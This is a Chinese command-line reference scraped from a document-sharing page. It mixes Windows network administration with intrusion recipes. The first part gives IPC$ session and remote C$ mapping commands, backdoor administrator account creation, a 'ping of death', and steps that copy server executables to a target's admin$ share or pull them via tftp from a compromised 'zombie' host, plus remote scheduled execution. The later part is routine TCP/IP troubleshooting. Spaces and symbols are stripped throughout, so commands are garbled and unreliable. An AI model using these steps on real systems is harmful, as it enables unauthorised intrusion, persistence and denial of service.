CMD网络命令大全.docx

CMD网络命令大全.docx

《CMD网络命令大全.docx》由会员分享，可在线阅读，更多相关《CMD网络命令大全.docx（19页珍藏版）》请在冰豆网上搜索。

CMD网络命令大全网络命令大全CMD【网络命令大全】2010-05-1817:

16:

28netuseipipc$user建立IPC空链接netuseipipc$密码user用户名建立IPC非空链接netusehipc$密码user用户名直接登陆后映射对方C：

到本地为Hnetusehipc$登陆后映射对方C：

到本地为Hnetuseipipc$del删除IPC链接netusehdel删除映射对方到本地的为H的映射netuser用户名密码add建立用户netuserguestactiveyes激活guest用户netuser查看有哪些用户netuser帐户名查看帐户的属性netlocalgroupadministrators用户名add把“用户”添加到管理员中使其具有管理员权限,注意：

administrator后加s用复数netstart查看开启了哪些服务netstart服务名开启服务；（如netstarttelnet，netstartschedule）netstop服务名停止某服务nettime目标ip查看对方时间nettime目标ipset设置本地计算机时间与“目标IP”主机的时间同步,加上参数yes可取消确认信息netview查看本地局域网内开启了哪些共享netviewip查看对方局域网内开启了哪些共享netconfig显示系统网络设置netlogoff断开连接的共享netpause服务名暂停某服务netsendip文本信息向对方发信息netver局域网内正在使用的网络连接类型和信息netshare查看本地开启的共享netshareipc$开启ipc$共享netshareipc$del删除ipc$共享netsharec$del删除C：

共享netuserguest12345用guest用户登陆后用将密码改为12345netpassword密码更改系统登陆密码netstat-a查看开启了哪些端口,常用netstat-annetstat-n查看端口的网络连接情况，常用netstat-annetstat-v查看正在进行的工作netstat-p协议名例：

netstat-ptcqip查看某协议使用情况（查看tcpip协议使用情况）netstat-s查看正在使用的所有协议使用情况nbtstat-Aip对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：

参数-A要大写tracert-参数ip（或计算机名）跟踪路由（数据包），参数：

“-w数字”用于设置超时间隔。

pingip（或域名）向对方主机发送默认大小为32字节的数据，参数：

“-l空格数据包大小”；“-n发送数据次数”；“-t”指一直ping。

ping-t-l65550ip死亡之ping（发送大于64K的文件并一直ping就成了死亡之ping）ipconfig（winipcfg）用于windowsNT及XP（windows9598）查看本地ip地址，ipconfig可用参数“all”显示全部配置信息tlist-t以树行列表显示进程（为系统的附加工具，默认是没有安装的，在安装目录的Supporttools文件夹内）kill-F进程名加-F参数后强制结束某进程（为系统的附加工具，默认是没有安装的，在安装目录的Supporttools文件夹内）del-F文件名加-F参数后就可删除只读文件,AR、AH、AS、AA分别表示删除只读、隐藏、系统、存档文件，A-R、A-H、A-S、A-A表示删除除只读、隐藏、系统、存档以外的文件。

例如“DELAR.”表示删除当前目录下所有只读文件，“DELA-S.”表示删除当前目录下除系统文件以外的所有文件delSQ目录或用：

rmdirsQ目录S删除目录及目录下的所有子目录和文件。

同时使用参数Q可取消删除操作时的系统确认就直接删除。

（二个命令作用相同）move盘符路径要移动的文件名存放移动文件的路径移动后文件名移动文件,用参数y将取消确认移动目录存在相同文件的提示就直接覆盖fcone.txttwo.txt3st.txt对比二个文件并把不同之处输出到3st.txt文件中，和是重定向命令atid号开启已注册的某个计划任务atdelete停止所有计划任务，用参数yes则不需要确认就直接停止atid号delete停止某个已注册的计划任务at查看所有的计划任务atiptime程序名（或一个命令）r在某时间运行对方某程序并重新启动计算机fingerusernamehost查看最近有哪些用户登陆telnetip端口远和登陆服务器,默认端口为23openip连接到IP（属telnet登陆后的命令）telnet在本机上直接键入telnet将进入本机的telnetcopy路径文件名1路径文件名2y复制文件1到指定的目录为文件2，用参数y就同时取消确认你要改写一份现存目录文件copycsrv.exeipadmin$复制本地csrv.exe到对方的admin下cppy1st.jpgb+2st.txta3st.jpg将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：

2st.txt文件头要空三排，参数：

b指二进制文件，a指ASCLL格式文件copyipadmin$svv.exec或copyipadmin$.复制对方admini$共享下的srv.exe文件（所有文件）至本地C：

xcopy要复制的文件或目录树目标地址目录名复制文件和目录树，用参数Y将不提示覆盖相同文件tftp-i自己IP（用肉机作跳板时这用肉机IP）getserver.execserver.exe登陆后，将“IP”的server.exe下载到目标主机cserver.exe参数：

-i指以二进制模式传送，如传送exe文件时用，如不加-i则以ASCII模式（传送文本文件模式）进行传送tftp-i对方IPputcserver.exe登陆后，上传本地cserver.exe至主机ftpip端口用于上传文件至服务器或进行文件操作，默认端口为21。

bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送（文本文件时）routeprint显示出IP路由，将主要显示网络地址Networkaddres，子网掩码Netmask，网关地址Gatewayaddres，接口地址Interfacearp查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。

arp-a将显示出全部信息start程序名或命令max或min新开一个新窗口并最大化（最小化）运行某程序或命令mem查看cpu使用情况attrib文件名（目录名）查看某文件（目录）的属性attrib文件名-A-R-S-H或+A+R+S+H去掉（添加）某文件的存档，只读，系统，隐藏属性；用则是添加为某属性dir查看文件，参数：

Q显示文件及目录属系统哪个用户，TC显示文件创建时间，TA显示文件上次被访问时间，TW上次被修改时间datet、timet使用此参数即“DATET”、“TIMET”将只显示当前日期和时间，而不必输入新日期和时间set指定环境变量名称=要指派给变量的字符设置环境变量set显示当前所有的环境变量setp（或其它字符）显示出当前以字符p（或其它字符）开头的所有环境变量pause暂停批处理程序，并显示出：

请按任意键继续.if在批处理程序中执行条件处理（更多说明见if命令及变量）goto标签将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：

“：

start”标签）call路径批处理文件名从批处理程序中调用另一个批处理程序（更多说明见call）for对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echoon或off打开或关闭echo，仅用echo不加参数则显示当前echo设置echo信息在屏幕上显示出信息echo信息pass.txt将信息保存到pass.txt文件中findstrHelloaa.txt在aa.txt文件中寻找字符串hellofind文件名查找某文件title标题名字更改CMD窗口标题名字color颜色值设置cmd控制台前景和背景颜色；0黑、1蓝、2绿、3浅绿、4红、5紫、6黄、7=白、8=灰、9=淡蓝、A淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt名称更改cmd.exe的显示的命令提示符（把C、D统一改为：

EntSky）ver在DOS窗口下显示版本信息winver弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format盘符FS类型格式化磁盘,类型FAT、FAT32、NTFS,例：

FormatDFSNTFSmd目录名创建目录replace源文件要替换文件的目录替换文件ren原文件名新文件名重命名文件名tree以树形结构显示出目录，用参数-f将列出第个文件夹中文件名称type文件名显示文本文件的内容more文件名逐屏显示输出文件doskey要锁定的命令字符doskey要解锁命令=为DOS提供的锁定命令（编辑命令行，重新调用win2k命令，并创建宏）。

如：

锁定dir命令：

doskeydir=entsky（不能用doskeydir=dir）；解锁：

doskeydir=taskmgr调出任务管理器chkdskFD检查磁盘D并显示状态报告；加参数f并修复磁盘上的错误tlntadmntelnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit退出cmd.exe程序或目前，用参数B则是退出当前批处理脚本而不是cmd.exepath路径可执行文件的文件名为可执行文件设置一个路径。

cmd启动一个win2K命令解释窗口。

参数：

eff、en关闭、开启命令扩展；更我详细说明见cmdregedits注册表文件名导入注册表；参数S指安静模式导入，无任何提示；regedite注册表文件名导出注册表cacls文件名参数显示或修改文件访问控制列表（ACL）-针对NTFS格式时。

参数：

D用户名设定拒绝某用户访问；P用户名perm替换指定用户的访问权限；G用户名perm赋予指定用户访问权限；Perm可以是N无，R读取，W写入，C更改（写入），F完全控制；例：

caclsDest.txtDpub设定dest.txt拒绝pub用户访问。

cacls文件名查看文件的访问用户权限列表REM文本内容在批处理文件中添加注解netsh查看或更改本地网络配置情况常用网络命令大全如果你玩过路由器的话，就知道路由器里面那些很好玩的命令缩写。

例如，shint的意思是showinterface。

现在Windows2000也有了类似界面的工具，叫做netsh。

我们在Windows2000的cmdshell下，输入netsh就出来：

netsh提示符，输入intip就显示：

interfaceip然后输入dump，我们就可以看到当前系统的网络配置：

#-#InterfaceIPConfiguration#-pushdinterfaceip#InterfaceIPConfigurationforLocalAreaConnectionsetaddressname=LocalAreaConnectionsource=staticaddr=192.168.1.168mask=255.255.255.0addaddressname=LocalAreaConnectionaddr=192.1.1.111mask=255.255.255.0setaddressname=LocalAreaConnectiongateway=192.168.1.100gwmetric=1setdnsname=LocalAreaConnectionsource=staticaddr=202.96.209.5setwinsname=LocalAreaConnectionsource=staticaddr=nonepopd#EndofinterfaceIPconfiguration上面介绍的是通过交互方式操作的一种办法。

我们可以直接输入命令：

netshinterfaceipaddaddressLocalAreaConnection10.0.0.2255.0.0.0来添加IP地址。

如果不知道语法，不要紧的哦！

在提示符下，输入?

就可以找到答案了。

方便不方便啊？

原来微软的东西里面，也有那么一些让人喜欢的玩意儿。

可惜，之至者甚少啊！

Windows网络命令行程序这部分包括：

使用ipconfig/all查看配置使用ipconfig/renew刷新配置使用ipconfig管理DNS和DHCP类别ID使用Ping测试连接使用Arp解决硬件地址问题使用nbtstat解决NetBIOS名称问题使用netstat显示连接统计使用tracert跟踪网络连接使用pathping测试路由器使用ipconfig/all查看配置发现和解决TCP/IP网络问题时，先检查出现问题的计算机上的TCP/IP配置。

可以使用ipconfig命令获得主机配置信息，包括IP地址、子网掩码和默认网关。

注意对于Windows95和Windows98的客户机，请使用winipcfg命令而不是ipconfig命令。

使用带/all选项的ipconfig命令时，将给出所有接口的详细配置报告，包括任何已配置的串行端口。

使用ipconfig/all，可以将命令输出重定向到某个文件，并将输出粘贴到其他文档中。

也可以用该输出确认网络上每台计算机的TCP/IP配置，或者进一步调查TCP/IP网络问题。

例如，如果计算机配置的IP地址与现有的IP地址重复，则子网掩码显示为0.0.0.0。

下面的范例是ipconfig/all命令输出，该计算机配置成使用DHCP服务器动态配置TCP/IP，并使用WINS和DNS服务器解析名称。

Windows2000IPConfigurationNodeType.:

HybridIPRoutingEnabled.:

NoWINSProxyEnabled.:

NoEthernetadapterLocalAreaConnection:

HostName.:

DNSServers.:

10.1.0.200Description.:

3Com3C90xEthernetAdapterPhysicalAddress.:

00-60-08-3E-46-07DHCPEnabled.:

YesAutoconfigurationEnabled.:

YesIPAddress.:

192.168.0.112SubnetMask.:

255.255.0.0DefaultGateway.:

192.168.0.1DHCPServer.:

10.1.0.50PrimaryWINSServer.:

10.1.0.101SecondaryWINSServer.:

10.1.0.102LeaseObtained.:

Wednesday,September02,199810:

32:

13AMLeaseExpires.:

Friday,September18,199810:

32:

13AM如果TCP/IP配置没有问题，下一步测试能够连接到TCP/IP网络上的其他主机。

使用ipconfig/renew刷新配置解决TCP/IP网络问题时，先检查遇到问题的计算机上的TCP/IP配置。

如果计算机启用DHCP并使用DHCP服务器获得配置，请使用ipconfig/renew命令开始刷新租约。

使用ipconfig/renew时，使用DHCP的计算机上的所有网卡（除了那些手动配置的适配器）都尽量连接到DHCP服务器，更新现有配置或者获得新配置。

也可以使用带/release选项的ipconfig命令立即释放主机的当前DHCP配置。

有关DHCP和租用过程的详细信息，请参阅客户机如何获得配置。

注意对于启用DHCP的Windows95和Windows98客户，请使用winipcfg命令的release和renew选项，而不是ipconfig/release和ipconfig/renew命令，手动释放或更新客户的IP配置租约。

使用ipconfig管理DNS和DHCP类别ID也可以使用ipconfig命令：

显示或重置DNS缓存。

详细信息，请参阅使用ipconfig查看或重置客户解析程序缓存。

刷新已注册的DNS名称。

详细信息，请参阅使用ipconfig更新DNS客户注册。

显示适配器的DHCP类别ID。

详细信息，请参阅显示客户机上的DHCP类别ID信息。

设置适配器的DHCP类别ID。

详细信息，请参阅设置客户机上的DHCP类别ID信息。

使用Ping测试连接Ping命令有助于验证IP级的连通性。

发现和解决问题时，可以使用Ping向目标主机名或IP地址发送ICMP回应请求。

需要验证主机能否连接到TCP/IP网络和网络资源时，请使用Ping。

也可以使用Ping隔离网络硬件问题和不兼容配置。

通常最好先用Ping命令验证本地计算机和网络主机之间的路由是否存在，以及要连接的网络主机的IP地址。

Ping目标主机的IP地址看它是否响应，如下：

pingIP_address使用Ping时应该执行以下步骤：

Ping环回地址验证是否在本地计算机上安装TCP/IP以及配置是否正确。

ping127.0.0.1Ping本地计算机的IP地址验证是否正确地添加到网络。

pingIP_address_of_local_hostPing默认网关的IP地址验证默认网关是否运行以及能否与本地网络上的本地主机通讯。

pingIP_address_of_default_gatewayPing远程主机的IP地址验证能否通过路由器通讯。

pingIP_address_of_remote_hostPing命令用Windows套接字样式的名称解析将计算机名解析成IP地址，所以如果用地址成功，但是用名称Ping失败，则问题出在地址或名称解析上，而不是网络连通性的问题。

详细信息，请参阅使用Arp解决硬件地址问题。

如果在任何点上都无法成功地使用Ping，请确认：

安装和配置TCP/IP之后重新启动计算机。

“Internet协议（TCP/IP）属性”对话框“常规”选项卡上的本地计算机的IP地址有效而且正确。

启用IP路由，并且路由器之间的链路是可用的。

您可以使用Ping命令的不同选项来指定要使用的数据包大小、要发送多少数据包、是否记录用过的路由、要使用的生存时间（TTL）值以及是否设置“不分段”标志。

可以键入ping-?

查看这些选项。

下例说明如何向IP地址172.16.48.10发送两个Ping，每个都是1,450字节：

C:

ping-n2-l1450172.16.48.10Pinging172.16.48.10with1450bytesofdata:

Replyfrom172.16.48.10:

bytes=1450time10msTTL=32Replyfrom172.16.48.10:

bytes=1450time10msTTL=32Pingstatisticsfor157.59.8.1:

Packets:

Sent=2,Received=2,Lost=0（0%loss）,Approximateroundtriptimesinmilli-seconds:

Minimum=0ms,Maximum=10ms,Average=2ms默认情况下，在显示“请求超时”之前，Ping等待1,000毫秒（1秒）的时间让每个响应返回。

如果通过Ping探测的远程系统经过长时间延迟的链路，如卫星链路，则响应可能会花更长的时间才能返回。

可以使用-w（等待）选项指定更长时间的超时。

使用Arp解决硬件地址问题“地址解析协议（ARP）”允许主机查找同一物理网络上的主机的媒体访问控制地址，如果给出后者的IP地址。

为使ARP更加有效，每个计算机缓存IP到媒体访问控制地址映射消除重复的ARP广播请求。

可以使用arp命令查看和修改本地计算机上的ARP表项。

arp命令对于查看ARP缓存和解决地址解析问题非常有用。

详细信息，请参阅查看“地址解析协议（ARP）”缓存和添加静态ARP缓存项目。

使用nbtstat解决NetBIOS名称问题TCP/IP上的NetBIOS（NetBT）将NetBIOS名称解析成IP地址。

TCP/IP为NetBIOS名称解析提供了很多选项，包括本地缓存搜索、WINS服务器查询、广播、DNS服务器查询以及Lmhosts和主机文件搜索。

Nbtstat是解决NetBIOS名称解析问题的有用工具。

可以使用nbtstat命令删除或更正预加载的项目：

nbtstat-n显示由服务器或重定向器之类的程序在系统上本地注册的名称。

nbtstat-c显示NetBIOS名称缓存，包含其他计算机的名称对地址映射。

nbtstat-R清除名称缓存，然后从Lmhosts文件重新加载。

nbtstat-RR释放在WINS服务器上注册的NetBIOS名称，然后刷新它们的注册。

nbtstat-aname对name指定的计算机执行NetBIOS适配器状态命令。

适配器状态命令将返回计算机的本地NetBIOS名称表，以及适配器的媒体访问控制地址。

nbtstat-S列出当前的NetBIOS会话及其状态（包括统计），如下例所示：

NetBIOSconnectiontableLocalnameStateIn/outRemoteHostInputOutput-CORP1ConnectedOutCORPSUP16MB5MBCORP1ConnectedOutCORPPRINT108KB116KB